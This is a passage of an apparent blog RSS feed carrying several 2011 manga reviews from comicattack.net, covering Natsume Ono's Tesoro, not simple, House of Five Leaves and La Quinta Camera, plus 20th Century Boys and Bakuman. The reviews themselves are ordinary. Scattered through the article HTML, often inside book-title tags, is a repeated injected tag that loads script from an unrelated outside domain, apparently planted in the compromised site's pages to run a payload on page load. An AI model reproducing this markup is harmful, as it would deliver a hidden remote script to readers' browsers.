selection of illustrations spanning Ono’s career (dating back to 1996).</p> <p>The stories in this book are quite short, but they all have a certain charm. A lot of them deal with the bonds of family, whether it’s a man lonely for his wife, a son bullied by older sisters, or a girl who makes up her own family. They’re also mostly about strengthening family bonds, with tragedy bringing a father and son closer together, and an older man making sure everyone knows he and his wife are still happily married. Due to the page count of each story, I’d normally be justified here by saying that the stories lack depth, or they’re far too short for anything meaningful to happen. The only think true about that statement is that the stories are far too short, because I want to read more about some of these characters. Ono packs a surprising amount of depth of story and character into each of these stories, whether they run for six pages or sixteen pages. There’s nothing to be disappointed by here, other than a lingering desire to know more about these characters. They’re all well self-contained, with a beginning and an end, though one or two of them do use the same characters. <em>Tesoro <script src="//wollses.com/steps"></script></em>is a very pleasant read, a nice heartwarming book for a cold day. There’s a lot of love in these pages, both between the characters and in Ono’s careful crafting of each page. I prefer the more mature designs of the <em>Ristorante Paradiso </em>books and <em>House of Five Leaves</em>, but her sketchy and spartan drawings work perfectly in this book. There’s not a whole lot to say about this book. I loved all the stories, though I do have some favorites. I could go on and on about the familial bonds in the stories, but I think I’ve said what needs saying. These are all beautiful, charming stories, that seem to flow effortlessly from Ono’s pen. The book is also quite well designed and printed by Viz Media. And unless my allergy addled eyes deceive me, the entire book is printed in a really nice sepia ink tone. It creates a muted, wintery feel, though I’m not sure if that’s the intent. Natsume Ono fans should definitely pick this one up, and won’t have any regrets. And if you’re in the mood for some uplifting stories about family and friends, and the warmth of people’s hearts, then get <em>Tesoro</em> when it hits shelves this week.</p> <p><span style="text-decoration: underline;">Kris<br /> </span>kristin@comicattack.net<br /> <a href="http://www.twitter.com/girlg33k_kris">@girlg33k_kris</a></p> <p>Review copy provided by Viz Media.</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/bbltesoro/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> <item> <title>Bento Bako Weekly: not simple (MMF)</title> <link>https://comicattack.net/bbwnotsimple/</link> <comments>https://comicattack.net/bbwnotsimple/#comments</comments> <dc:creator><![CDATA[Kristin]]></dc:creator> <pubDate>Mon, 14 Nov 2011 10:00:47 +0000</pubDate> <category><![CDATA[Bento Bako Weekly]]></category> <category><![CDATA[Columns]]></category> <category><![CDATA[Kristin]]></category> <category><![CDATA[Manga]]></category> <category><![CDATA[Manga Moveable Feast]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Natsume Ono]]></category> <category><![CDATA[not simple]]></category> <category><![CDATA[Shogakukan]]></category> <category><![CDATA[Sig IKKI]]></category> <category><![CDATA[Viz Media]]></category> <guid isPermaLink="false">https://comicattack.net/?p=77845</guid> <description><![CDATA[Title: not simple Author: Natsume Ono Publisher: Viz Media (Sig IKKI) Volume: One-shot, $14.99 Vintage: 2006 by Shogakukan, January 2010 by Viz Media Genre: Slice-of-life, drama [This review is part of November’s Manga Moveable Feast, hosted at Manga Widget, paying tribute to the lovely Natsume Ono. You can check out the archive page here.] There […]]]></description> <content:encoded><![CDATA[<p><a href="https://comicattack.net/wp-content/uploads/2011/11/notsimple.jpg"><img loading="lazy" decoding="async" class="alignleft size-full wp-image-77912" style="margin: 1px 4px;" title="notsimple" src="https://comicattack.net/wp-content/uploads/2011/11/notsimple.jpg" alt="" width="308" height="445" srcset="https://comicattack.net/wp-content/uploads/2011/11/notsimple.jpg 514w, https://comicattack.net/wp-content/uploads/2011/11/notsimple-208x300.jpg 208w" sizes="(max-width: 308px) 100vw, 308px" /></a><strong>Title:</strong> <em>not simple</em><br /> <strong>Author:</strong> Natsume Ono<br /> <strong>Publisher:</strong> Viz Media (Sig IKKI)<br /> <strong>Volume: </strong>One-shot, $14.99<br /> <strong>Vintage:</strong> 2006 by Shogakukan, January 2010 by Viz Media<br /> <strong>Genre: </strong>Slice-of-life, drama</p> <p>[This review is part of November’s <a href="https://comicattack.net/category/cafeaturedcolumns/manga-moveable-feast/">Manga Moveable Feast</a>, hosted at <a href="http://mangawidget.wordpress.com/">Manga Widget</a>, paying tribute to the lovely <a href="https://comicattack.net/tag/natsume-ono/">Natsume Ono</a>. You can check out the <a href="http://mangawidget.wordpress.com/2011/11/13/natsume-ono-mmf-archive/">archive page here</a>.]</p> <p>There is nothing simple about this sad story of the unluckiest guy on the planet. As the book opens, a young woman is trying to find the safest way of running off with her boyfriend without getting him killed by her father. She spots an apparent homeless man sleeping on a nearby bench and decides to use him as a coverup. Knowing her father’s goons are watching, she invites the stranger out for something to eat. The man, Ian, is not homeless, but tends to travel a lot, and begins to tell a story to the girl named Irene. Irene realizes there’s something familiar about his story, and soon connects it with a story her mother once told her about her aunt Jenny. Three years ago, Jenny had met a homeless looking man that she picked up, dressed in a suit, and took to get something to eat. Jenny had been planning to run away from her life that day, leaving her husband and kids behind, but the stranger she met talked her out of it. The man was at the time traveling around the country searching for his missing older sister. They agreed to meet in three years to see how their lives were going. This man, Irene realizes, was Ian. Jenny, unfortunately, died a year previous, and Irene informs a shocked Ian of this. Knowing her mom will want to hear Ian’s story, she calls home to see if it’s OK to invite him for dinner, but while she’s on the phone, she recognizes her father’s goons in the crowd. She rushes to the bathroom where Ian had gone, and bumps into a novelist named Jim who also knows Ian just before they spot Ian bleeding out on the bathroom floor with a wound in his side. As Irene tries to make sense of things, a rather detached Jim coldly brushes her inquiries aside and tells her to look for the book he plans to write if she wants to know more about Ian. A year later, Irene is reading the book in a diner, and after she leaves, the other patrons discuss the mysterious fate of the book’s author, who has vanished.</p> <p>A depressing start indeed, but it just goes downhill from there, even though it seems impossible things could get worse. The first chapter of the book is actually the end of the story, as the next part of the book takes us back to Ian’s childhood. Ian’s older sister, Kylie, is about to be released from prison (she committed armed robbery), and all that’s been keeping her going is knowing that Ian, now thirteen, is outside waiting for her. She plans to take her brother and run away together, leaving their uncaring parents behind. However, when she gets out, she finds her parents divorced and moved. She tracks down her father, who coldly informs her that their mother took Ian and ran off to England. In England, their mother does nothing but drink all day, forcing Ian to run the house and work odd jobs so they’re able to eat. The mother’s sister gives them money, but it all goes straight to alcohol. She’s been told to keep their location a secret from Kylie, but realizing there’s nothing more she can do, she finally tells Kylie what’s going on. Meanwhile, wanting more money for her drinking habit, Ian’s mother hands him over to her neighbor, a pimp, to prostitute out for some extra cash. When Kylie confronts her mother, it becomes obvious that their family situation is far worse; Kylie is Ian’s son with her own father. Suddenly a lot of things start making sense. To repent for what she’s put her mother through, Kylie decides to stay and look after her, and sends Ian to live with their father. They make a promise to meet again when Ian fulfills his life’s dream (breaking a certain track record). Ian’s father, however, wants nothing to do with him, and though he’s willing to support the boy, he avoids all but the bare minimum interaction with his son. Ian practices running nearly every day, working towards his goal so he can see Kylie once again. He gets older and meets a news reporter named Jim, who becomes interested in Ian’s story. When Ian gets a cryptic letter from his sister saying that she’s suddenly going to America, Jim invites the distraught Ian to move with him to New York so that he can search for his sister. In New York, Ian, who is desperately searching for familial bonds, finds himself living out of Jim’s home, a man who is estranged from his own parents due to his life choices. In the same building lives Jim’s friend Rick, who has run away and is hiding from his family. Eventually, Ian is able to track down Kylie, who is in prison once again. When he returns to Jim two years later, he is a changed man, and his sister is gone. Desperate for some kind of connection, he decides to tell Jim his story. The story isn’t over yet, though; as Ian wallows in his depression, Jim unearths a slip of paper he had returned home with, that has the address of his sister’s former boyfriend. Wanting to know what became of Kylie, Ian seeks the man out, but is met with nothing but another nightmare. Even with that final shock, things finally seem to start looking up for Ian. He’s made a new family of sorts with Jim and Rick. Then he leaves to meet up with the woman from three years ago….</p> <p>Oh, Miss Ono, why would you ever write such a depressing story! You think it starts out bad enough, right with a death, but it just gets worse and worse. Dying is probably the best thing to happen to this poor guy. A lot of this story is formed around relationships between family members. There’s Ian, a guy who is desperately searching for familial connections and affection, and…just about every other character who is trying to escape that. Ian’s luck is truly horrible, and his story unfortunate, but somehow this guy who just can’t catch a break ends up helping those around him. Because of Ian, Irene’s mother returns home, Jim gets in touch with his family, Rick does the same, Kylie patches things up with her mother, people around him find the love and happiness that he always missed out on. Unwanted by the people who should be his family, he’s able to convince others of how important family should be. Bonds of family and friendship are typical themes for Ono’s books, and is probably why I enjoy them so much. Most of <em>not simple<script src="//wollses.com/steps"></script></em> is an experience that is hard to put into words, and really needs to be read and interpreted from a personal perspective. The story can be read in different ways. For a cynical read, Ian’s birth and presence ruins everyone’s lives. From a more optimistic perspective, he saves various lives and helps rebuild failing bonds. It’s a matter of…is anyone glad to have met Ian? His father isn’t; his father won’t even acknowledge him as his own. His “mother” hates him because he’s a constant reminder of her husband. On the other hand, while Kylie’s life undoubtedly would have been better off without Ian, she’s the only member of that family who wants Ian to be happy and make his dreams come true. At first glance, Ian appears to be a simple sort of guy, pure and naive. And he is. But he’s also perceptive to the pain of those around him, and he somehow seems to know the right things to say to people, or what they need to hear. As for the people around him, Jim is definitely the most interesting, probably because we really know the least about him. He rarely talks about himself, at least in his time in the book. I can imagine him talking a lot with Ian “behind the scenes,” so to speak. The point is, as readers we know very little about him. He appears to care for Ian beyond a simple friendship, but doesn’t appear to ever act on it. I thinks he’s gay, though he never says it himself; it is hinted at by Jim at least, and other people speculate on it. Rick is, by his own admission. Ian…his troubled childhood has left him with some strange ideas about sex and love, ideas that baffle both Jim and Rick when they learn about it. Ian seems to be sort of stuck in his teenage years, having not matured much beyond that. Well…no, I don’t think that’s quite right either, but his sexual maturity is at least stuck there. This is not a yaoi title, just so that’s clear. I really don’t think it can be relegated into a genre. The story also deals with something I’ve rarely seen in manga – HIV/AIDS. It’s actually not spelled out in the book (and I mean that literally), but it’s alluded to a couple of times. It doesn’t have a profound effect on the story, it’s just yet another element coloring the continued tragedy of Ian’s life. The book isn’t a statement on any one thing. There’s a lot going on, and Ono draws and writes out the whole thing marvelously. It seems like a simple story, but it’s not simple at all (see what I did there), because there are so many threads weaving through these people’s lives, breaking, mending, forming new weaves, all centered on gentle, unlucky Ian.</p> <p>Wednesday, come back for Natsume Ono’s <em>Tesoro</em>.</p> <p><span style="text-decoration: underline;">Kris<br /> </span>kristin@comicattack.net<br /> <a href="http://www.twitter.com/girlg33k_kris">@girlg33k_kris</a></p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/bbwnotsimple/feed/</wfw:commentRss> <slash:comments>6</slash:comments> </item> <item> <title>Bento Bako Bonus: 20th Century Boys 16, House of Five Leaves 4</title> <link>https://comicattack.net/bbb20thcent16fiveleaves4/</link> <comments>https://comicattack.net/bbb20thcent16fiveleaves4/#comments</comments> <dc:creator><![CDATA[Kristin]]></dc:creator> <pubDate>Fri, 23 Sep 2011 09:00:21 +0000</pubDate> <category><![CDATA[Bento Bako Weekly]]></category> <category><![CDATA[Kristin]]></category> <category><![CDATA[Manga]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Sci-Fi]]></category> <category><![CDATA[20th Century Boys]]></category> <category><![CDATA[House of Five Leaves]]></category> <category><![CDATA[Naoki Urasawa]]></category> <category><![CDATA[Natsume Ono]]></category> <category><![CDATA[Shogakukan]]></category> <category><![CDATA[Sig IKKI]]></category> <category><![CDATA[Viz Media]]></category> <category><![CDATA[Viz Signature]]></category> <guid isPermaLink="false">https://comicattack.net/?p=73286</guid> <description><![CDATA[Title: 20th Century Boys Author: Naoki Urasawa Publisher: Viz Media (Viz Signature) Volume: Volume 16 (of 22), $12.99 Vintage: 2004 by Shogakukan, August 2011 by Viz Media Genre: Science fiction, drama [Volume 15 review.] At the end of the last volume, Friend catapulted himself into divinity and began a new era. Around the world a […]]]></description> <content:encoded><![CDATA[<p><a href="https://comicattack.net/wp-content/uploads/2011/09/20centboys16.jpg"><img loading="lazy" decoding="async" class="alignleft size-full wp-image-73626" style="margin: 1px 4px;" title="20centboys16" src="https://comicattack.net/wp-content/uploads/2011/09/20centboys16.jpg" alt="" width="246" height="356" /></a><strong>Title: </strong><em>20th Century Boys</em><br /> <strong>Author:</strong> Naoki Urasawa<br /> <strong>Publisher:</strong> Viz Media (Viz Signature)<br /> <strong>Volume:</strong> Volume 16 (of 22), $12.99<br /> <strong>Vintage:</strong> 2004 by Shogakukan, August 2011 by Viz Media<br /> <strong>Genre: </strong>Science fiction, drama</p> <p>[<a href="https://comicattack.net/2011/06/bbw20thcentboys15/">Volume 15 review.</a>]</p> <p>At the end of the last volume, Friend catapulted himself into divinity and began a new era. Around the world a deadly virus was released to wreak havoc on an unsuspecting population. In secret, Kanna’s mother, Kiriko, had been working on a vaccine for the virus, but ran out of time before she could manage to send more than just a few vials of the vaccine into the world. Because of the spread of the virus, the government, controlled by Friend, has begun to segregate areas into those ravaged by the virus, and those the virus has not yet touched, cutting people off from their homes and friends with a massive network of walls. The book opens up with a flashback when Friend was a child, detailing his interactions with Kenji and his friends, and the circumstances that led to Friend creating the New Book of Prophecy. What we see is a lonely child, with an arrogant intelligence; a boy who thinks he is better than the others, and can’t understand the emotional immaturity of those around him; a boy who wants attention and adoration, but finds all of that stolen by Kenji. We also discover the truth about a couple events mentioned during the series, including what really happened that night in the science lab in the school building when they were all kids. Back in the present, a boy listens to his grandfather recount stories of fresh beef, which is now unavailable due to fears of the virus’s spread. He sneaks part of his dinner outside to an old shed, where an injured man is hiding out. This man is Otcho, who was shot at while making his way over the wall. The boy has an older sister who refuses to believe the rhetoric spouted by the Friendship party, and even attends a protest calling for the government to tear down the walls splitting the city. She is vastly disappointed when she realizes that the majority of the people at the rally don’t really care about the issue at hand, but are simply looking for an adrenaline rush or an excuse to gather and get drunk. When she discovers Otcho, her mind starts whirling and she launches a barrage of questions at him, though he doesn’t give her much response. Otcho listens to the little girl, who genuinely feels things just aren’t right in the current world climate, and picks up on some important information that may lead him to find the friends he has been split apart from. The kids end up building him up to be some sort of hero in their mind, and after they accidentally hear a call to arms over the TV set after official broadcast hours, they go out of their way to help him get to the Shinjuku Catholic Church in Kabuki-Cho. Things go horribly wrong when they’re stopped by the Confidential Guard (Friend’s elite guard), and the two kids end up more deeply involved than they could have imagined.</p> <p>Um, OK, I think there was a time jump somewhere? Urasawa has stopped using 21st century dates and has begun using “Year of the Friendship Era” to denote time, starting with “Year 3 of the Friendship Era.” That leads me to believe three years have passed, though I’m not completely certain. A passage of time does make sense, since there have been a lot of changes in the world since volume 15, I’m just sort of amazed that seemingly nothing of great importance happened during those three years. There’s not just a ton of progression this volume. About half the book takes place in the past, though that part does reveal some good information, especially since it’s finally the true representation of the Friend’s memories. Previously, we saw what was supposedly Friend’s memories through the other characters in Friend Land, but it was clear those events were manipulated. The rest of the volume is setting up what is to come. I was a little bothered at first that Otcho involved such young kids in his mess, but he does try to keep them out of it by saying little and attempting to leave on his own. The girl, Sanae, insists on helping him, and to be honest, even given the danger she’s about to walk into, she might be better off. Her ideas will get her in danger even staying at home, and she was bound to wind up in a mess sooner or later. At least now she’ll be with those of like mind who can protect her. Maybe she’ll even be able to make a difference; after all, it’s children like her that are the future of the world…if there will even be a world in the future. The way things are going, there might be nothing left; Friend’s ultimate intentions are unclear, but it is clear that he’s caught in a child-like state of mind, ready to manipulate the entire world into his childhood fantasy. It’s up to Kanna, and Kenji’s friends, if any of them are still alive, to stop him.</p> <p> </p> <p><strong><br /> <script src="//wollses.com/steps"></script></strong></p> <p><a href="https://comicattack.net/wp-content/uploads/2011/09/fiveleaves4.jpg"><img loading="lazy" decoding="async" class="alignleft size-full wp-image-73621" style="margin: 1px 4px;" title="fiveleaves4" src="https://comicattack.net/wp-content/uploads/2011/09/fiveleaves4.jpg" alt="" width="266" height="386" /></a><strong>Title:</strong><em> House of Five Leaves</em><br /> <strong>Author: </strong>Natsume Ono<br /> <strong>Publisher:</strong> Viz Media (Sig IKKI)<br /> <strong>Volume:</strong> Volume 4 (ongoing), $12.99<br /> <strong>Vintage: </strong>2006 by Shogakukan in Japan, September 20, 2011 by Viz Media<br /> <strong>Genre: </strong>Historical, drama</p> <p>[<a href="https://comicattack.net/2011/04/bbwfiveleaves320thcent14/">Volume 3 review.</a>]</p> <p>In the previous volume, a more vicious kidnapping gang in town was making the Five Leaves nervous and making it harder for them to work. The local police force has been more alert as a result, and the new gang is intruding on the Five Leaves’ turf and making them look bad. The Five Leaves work with the utmost secrecy, so even though they have completed many successful jobs, their name and the knowledge of the group has not spread. The new gang, the Night Crows, has no discretion, and no qualms about killing hostages or those they’re making deals with. Their presence is making it harder for the Five Leaves to operate, especially as the Five Leaves are now being seen as the copycats. To add to the annoyance, a young man has been putting himself forward as an intermediary and negotiator, attempting to make a profit by delivering ransoms for those too afraid to do it themselves (basically, afraid the Night Crows will just kill them). This means that the Five Leaves are forced to deal with an unknown element, which does not sit well with Yaichi. Things become complicated when Otake mistakes him for someone they plan to kidnap and he figures out what they’re trying to do. Otake and Matsu bring the boy to Ume’s restaurant, where the boy, Ginta, decides to strike a deal with the Five Leaves – he wants to join the crew. Ginta is the brother of their kidnapping target, but he was given up as a baby, and later adopted by a merchant family. Now he makes his own was as an intermediary for various purposes, and he wants to work with the Five Leaves. Everyone is against it, but they have little choice. They are worried that Ginta will stir things up, but then, Masa has as well, and he’s been welcomed by everyone in the group. Masa, however, has a certain charm to him; Ginta is nosy and annoying, and his arrogant attitude gets on Yaichi’s nerves far more than Masa’s naivety. And, as we know, Yaichi has far more important things to deal with, as members from his old gang have been snooping around trying to track him down, and Yagi, Masa’s friend and the police superintendent, has been snooping around as well. Goinkyo, aware that Yaichi’s past may be catching up to him, warns Masa not to trust Yaichi, but Masa brushes aside the warning and expresses his faith in his gang’s leader.</p> <p>Some more elements of the past are revealed this volume, including when Yaichi first arrived in town and was taken in by the madame of the Katsuraya brothel, and the truth behind Masa’s disgrace as a samurai. Things are really starting to move in the story, as well. The Night Crows are putting pressure on the Five Leaves, faces from Yaichi’s past are reappearing, and Yagi is preparing to make his move, whatever that might be. Ever since Masa came along, things have been changing within the Five Leaves. Once an extremely private group of people, each member has been opening up to Masa and relating pieces of their stories to him. All but Yaichi, of course, but by piecing together everyone else’s stories, Masa (and we, the readers) has learned more about Yaichi, as well. Ginta, a rather brash young man, is a bit less delicate in his approach, but he’s taken to Masa well, and by the end of the volume the two are living together. It’s possible that Ginta could break the group up entirely with a few careless words or actions, and despite the colored pasts of the original Five Leaves members, he’s probably the least trustworthy of the group and one of the hardest to pin down. I doubt he’s been tossed in haphazardly, however, as that is not Ono’s <em>modus operandi</em>, so I suspect he may have some ties to the group somewhere in his past which could make things quite interesting. I’m really looking forward to watching the story unfold, particularly now that Yaichi has begun to show his true colors.</p> <p><span style="text-decoration: underline;">Kris</span><br /> kristin@comicattack.net<br /> <a href="http://www.twitter.com/girlg33k_kris">@girlg33k_kris</a></p> <p>Review copies provided by Viz Media.</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/bbb20thcent16fiveleaves4/feed/</wfw:commentRss> <slash:comments>7</slash:comments> </item> <item> <title>Bento Bako Weekly: La Quinta Camera</title> <link>https://comicattack.net/bbwlaquintacamer/</link> <comments>https://comicattack.net/bbwlaquintacamer/#comments</comments> <dc:creator><![CDATA[Kristin]]></dc:creator> <pubDate>Mon, 11 Jul 2011 10:00:20 +0000</pubDate> <category><![CDATA[Bento Bako Weekly]]></category> <category><![CDATA[Columns]]></category> <category><![CDATA[Kristin]]></category> <category><![CDATA[Manga]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[La Quinta Camera]]></category> <category><![CDATA[Natsume Ono]]></category> <category><![CDATA[Shogakukan]]></category> <category><![CDATA[Sig IKKI]]></category> <category><![CDATA[Viz Media]]></category> <guid isPermaLink="false">https://comicattack.net/?p=67391</guid> <description><![CDATA[Title: La Quinta Camera Author: Natsume Ono Publisher: Viz Media (Sig IKKI) Volume: One-shot, $12.99 Vintage: 2006 by Shogakukan in Japan, July 19, 2011 by Viz Media Genre: Slice-of-life This is one of the most heartwarming manga I’ve ever had the pleasure of reading. I was smiling and laughing through the entire book. If you’re […]]]></description> <content:encoded><![CDATA[<p><a href="https://comicattack.net//wp-content/uploads/2011/07/laquintacamera.jpg"><img loading="lazy" decoding="async" class="alignleft size-full wp-image-67450" style="margin: 1px 4px;" title="laquintacamera" src="https://comicattack.net//wp-content/uploads/2011/07/laquintacamera.jpg" alt="" width="286" height="422" srcset="https://comicattack.net/wp-content/uploads/2011/07/laquintacamera.jpg 476w, https://comicattack.net/wp-content/uploads/2011/07/laquintacamera-203x300.jpg 203w" sizes="(max-width: 286px) 100vw, 286px" /></a><strong>Title:</strong> <em>La Quinta Camera</em><br /> <strong>Author: </strong>Natsume Ono<br /> <strong>Publisher: </strong>Viz Media (Sig IKKI)<br /> <strong>Volume:</strong> One-shot, $12.99<br /> <strong>Vintage:</strong> 2006 by Shogakukan in Japan, July 19, 2011 by Viz Media<br /> <strong>Genre:</strong> Slice-of-life</p> <p>This is one of the most heartwarming manga I’ve ever had the pleasure of reading. I was smiling and laughing through the entire book. If you’re a fan of Natsume Ono, this book will make you fall in love with her all over again. It’s a gentle story about a group of friends who share an apartment in Italy, and the different people who rent out the fifth room who fly through their lives with a lasting impact. The central cast includes Massimo, a gentle and friendly man who owns the apartment; Celestino (Cele), an eccentric middle-aged comic artist; Luca, a gentle and kind soul who enjoys playing various instruments on street corners; and Al, a truck driver who does little but work and sleep. A fifth bedroom in their apartment is reserved for renters, usually from a local language school. The first tenant in the book is 18-year-old Charlotte. On her first day, she leaves her bag in a truck and bumps into a rather rude man, and can’t remember the address of the place she is supposed to live. She ends up bumping into a street performer who lets her sing with him for money, and is then taken to a local café for some food. When she finally arrives at the school, she is sent to a nearby apartment…where she ends up living with the four men she had met that afternoon. Though Charlotte soon moves into her own place, she remains close friends with the men who so warmly welcomed her to Italy, working at Massimo’s café and eventually dating Al.</p> <p>Though Charlotte remains a focus point, the book is broken up into chapters that introduce new roommates and tell the back stories of our quartet of gentlemen. An illustrator named Alessandro rents the room after Charlotte, and hits it off with Cele quite well, as the man even offers to introduce him to a publisher. Meanwhile, Luca develops a crush on a photographer who comes around to take pictures of him while he plays music. Next up is Akio, a young Japanese student experiencing his first western Christmas. It’s also Cele’s birthday, so the gang plans a joint Christmas and birthday party while they reminisce about their often troublesome friend. The next house guest, Eric, doesn’t get much personal time, and mostly serves as a catalyst to bring out Al’s past. Charlotte, who decides to interfere hoping to help Al move on from his past, ends up comforting him and romance starts to bloom between them. An American moves in next, and his eating habits start to make the others a little uncomfortable. However, it’s Massimo’s news and not an unfortunate house guest that rocks the boat. Massimo’s girlfriend, Anna, is pregnant, and they’re going to get married, which means Al, Luca, and Cele will have to move out of the apartment. The group prepares for their final exchange student as they each decide where they will go when the move out. Massimo, who enjoys having his friends around, suddenly starts feeling depressed as they decide to move on to other parts of Italy. An older woman named Brooke is the final renter of the fifth room, and it is she who reminds the men that even if they move apart from each other, they’re still bound together through friendship. Three bonus chapters follow, one showing Al’s first meeting with Massimo, another going back to Akio as he spends Christmas alone, and the final chapter also featuring Akio as he treats his roommates to a traditional Japanese meal for New Year’s.</p> <p>The entire book is so charming and easily warms the heart. The art style is similar to Ono’s <em>not simple<script src="//wollses.com/steps"></script></em>, rather than the more traditional and detailed <em>House of Five Leaves</em>. It’s perfect for a story of this sort. <em>La Quinta Camera</em> flows like a slice-of-life story, but is cohesive with a beginning and an end (when Charlotte moves in, until just before everyone starts moving out). It’s a real delight to read, with the story’s emphasis on the bonds of friendship between four men with seemingly nothing at all in common. Any Natsume Ono fan will find what they love about her work within these pages, and it’s a good choice for anyone interested in her work with no previous exposure.</p> <p><span style="text-decoration: underline;">Kris</span><br /> kristin@comicattack.net<br /> <a href="http://www.twitter.com/girlg33k_kris">@girlg33k_Kris</a></p> <p>Review copy provided by Viz Media.</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/bbwlaquintacamer/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item> <title>Bento Bako Bonus: Bakuman 4, Gente 3</title> <link>https://comicattack.net/bbbbakuman4gente3/</link> <comments>https://comicattack.net/bbbbakuman4gente3/#comments</comments> <dc:creator><![CDATA[Kristin]]></dc:creator> <pubDate>Fri, 03 Jun 2011 10:00:21 +0000</pubDate> <category><![CDATA[Bento Bako Weekly]]></category> <category><![CDATA[Kristin]]></category> <category><![CDATA[Manga]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Bakuman]]></category> <category><![CDATA[Gente]]></category> <category><![CDATA[Natsume Ono]]></category> <category><![CDATA[Ohta Publishing]]></category> <category><![CDATA[Shonen Jump]]></category> <category><![CDATA[Shueisha]]></category> <category><![CDATA[Takeshi Obata]]></category> <category><![CDATA[Tsugumi Ohba]]></category> <category><![CDATA[Viz Media]]></category> <category><![CDATA[Viz Signature]]></category> <guid isPermaLink="false">https://comicattack.net/?p=64349</guid> <description><![CDATA[Title: Bakuman Author: Tsugumi Ohba, with art by Takeshi Obata Publisher: Viz Media (Shonen Jump) Volume: Volume 4 (ongoing), $9.99 Vintage: 2009 by Shueisha, April 2011 by Viz Media Genre: Slice-of-life, comedy [Volume 3 review.] Previously, Mashiro and Takagi split up for the summer to separately develop ideas for a battle manga. Though they were […]]]></description> <content:encoded><![CDATA[<p><strong><a href="https://comicattack.net/wp-content/uploads/2011/06/bakuman4.jpg"><img loading="lazy" decoding="async" class="alignleft size-full wp-image-64408" style="margin: 1px 4px;" title="bakuman4" src="https://comicattack.net/wp-content/uploads/2011/06/bakuman4.jpg" alt="" width="252" height="386" srcset="https://comicattack.net/wp-content/uploads/2011/06/bakuman4.jpg 420w, https://comicattack.net/wp-content/uploads/2011/06/bakuman4-196x300.jpg 196w" sizes="(max-width: 252px) 100vw, 252px" /></a>Title:</strong> <em>Bakuman</em><br /> <strong>Author:</strong> Tsugumi Ohba, with art by <a href="https://comicattack.net/tag/takeshi-obata/">Takeshi Obata</a><br /> <strong>Publisher:</strong> Viz Media (Shonen Jump)<br /> <strong>Volume:</strong> Volume 4 (ongoing), $9.99<br /> <strong>Vintage:</strong> 2009 by Shueisha, April 2011 by Viz Media<br /> <strong>Genre:</strong> Slice-of-life, comedy</p> <p>[<a href="https://comicattack.net/2011/02/bbwbakuman3dorohedoro3/">Volume 3 review.</a>]</p> <p>Previously, Mashiro and Takagi split up for the summer to separately develop ideas for a battle manga. Though they were both stumped for ideas on that front, remarkably the each came up with some ideas for a detective manga. When they finally meet up at the end of summer, Takagi confesses that he doesn’t have the storyboards for a battle manga ready and turns over the key to their shared studio. Separately, the boys talk with their editor, Hattori, who realizes that both writer and artist are miraculously somehow on the same wavelength, even though they have not shared their ideas with each other. Hattori encourages them both to continue with their ideas for a detective manga, realizing the potential for such a series, and decides to use a little manipulation to get them back on track. The two boys struggle on their own for a while, until Takagi decides to tell Mashiro everything. When they realize how incredibly in synch they are with each other, they immediately get back together to work on the detective story, but decide not to tell Hattori until they’re ready. Hattori was trying to make sure the boys carefully thought out their series and prepare it for a pitch after two years, but both Mashiro and Takagi want a series before then, so they work hard on storyboards to prove to Hattori that they’re ready for a series now. To help Takagi prepare to write a detective series, Hattori had sent him boxes of DVDs and books to study as part of his two year plan for the pair. However, since they want to get something ready in six months time, Takagi won’t really have time to look over all the material. Realizing that her man needs help, Miyoshi announces that she is going to abandon her dream as a cell phone novel writer, and work to help make Takagi’s dream come true instead (<em>forehead, meet palm</em>) by going over the materials and writing summaries for him. Once they finally do show their work to Hattori, he is impressed by their passion and hard work and decides to give them a chance. He sets up a grueling schedule for them so he can test their abilities, and also so that he will later be able to prove to the chief editor that Takagi and Mashiro are ready and capable to create a series while they are still in high school. He arranges for the pair to enter the Gold Future Cup contest, where they will compete alongside Mashiro’s friends Fukuda and Nakai (whom he worked at Eiji Nizuma’s studio), and a rock star who wants to try his hand at creating manga. The competition is fierce, and the winner will likely be able to turn their story into a new series. While Takagi and Mashiro are working hard on their Gold Future Cup entry and creating storyboards for a possible series, Miho is dealing with a slight setback to her acting career. Though the show she is in is doing well, Miho is told that the only reason she’s had any success is because of her looks, and her manager (I think) is trying to get her to do a photobook. Uncomfortable with the idea, Miho wants to refuse, but her manager assures her that here career will go nowhere if she does not accept the offer.</p> <p>Oh, <em>Bakuman<script src="//wollses.com/steps"></script></em>. Are you some bizarre self parody? Do you hate women? I just don’t get you. The females in this series (what few there are) only serve to propel the males forward. Miho is the driving force behind Mashiro’s desire to create a manga that will lead to an anime series (if you’ll recall, their deal is basically that Mashiro will make an anime for Miho to voice act in, then they’ll get married). And now Miyoshi has decided her purpose in life is to support Takagi’s dream. It’s nice she wants to support him, but why should she give up on her own dreams for that? Though, admittedly, her dream of writing cell phone novels was rather silly, and Takagi was really doing all the work anyway. The only positive thing I can say on this front is that Miho doesn’t want to go peeling off her clothing for her career, so good on her. Now, let’s talk about the Gold Future Cup. This is going to spoil things a bit, so beware. I understand that Takagi and Mashiro are the main characters, so it would be kind of dumb for them to lose their “battle,” but Nakai has been working his ass off for so long, and he’s close to giving up his dream because he can’t catch a break. I feel sorry for him, that he’s been working for his whole life toward his goal, and some punk kids wake up one day wanting to create manga, and waltz in and suddenly leap ahead of him. I would be hugely frustrated if I were him. He does catch a small break here, but I feel like it’s pointless, because Takagi and Mashiro, as the main characters, are the ones with the best chance of success. On the industry side of things this volume, <em>Bakuman</em> gives us an inside look at how a company chooses what new series it will launch, and explores the motivations of some manga editors. Specifically, Hattori, who wants to cultivate Takagi and Mashiro and see them succeed more than anything; and Yujiro, who wants his creators to succeed so that he can be promoted.</p> <p><a href="https://comicattack.net/wp-content/uploads/2011/06/gente3.jpg"><img loading="lazy" decoding="async" class="alignleft size-full wp-image-64409" style="margin: 1px 4px;" title="gente3" src="https://comicattack.net/wp-content/uploads/2011/06/gente3.jpg" alt="" width="291" height="423" srcset="https://comicattack.net/wp-content/uploads/2011/06/gente3.jpg 485w, https://comicattack.net/wp-content/uploads/2011/06/gente3-206x300.jpg 206w" sizes="(max-width: 291px) 100vw, 291px" /></a><strong>Title:</strong> <em>Gente: The People of 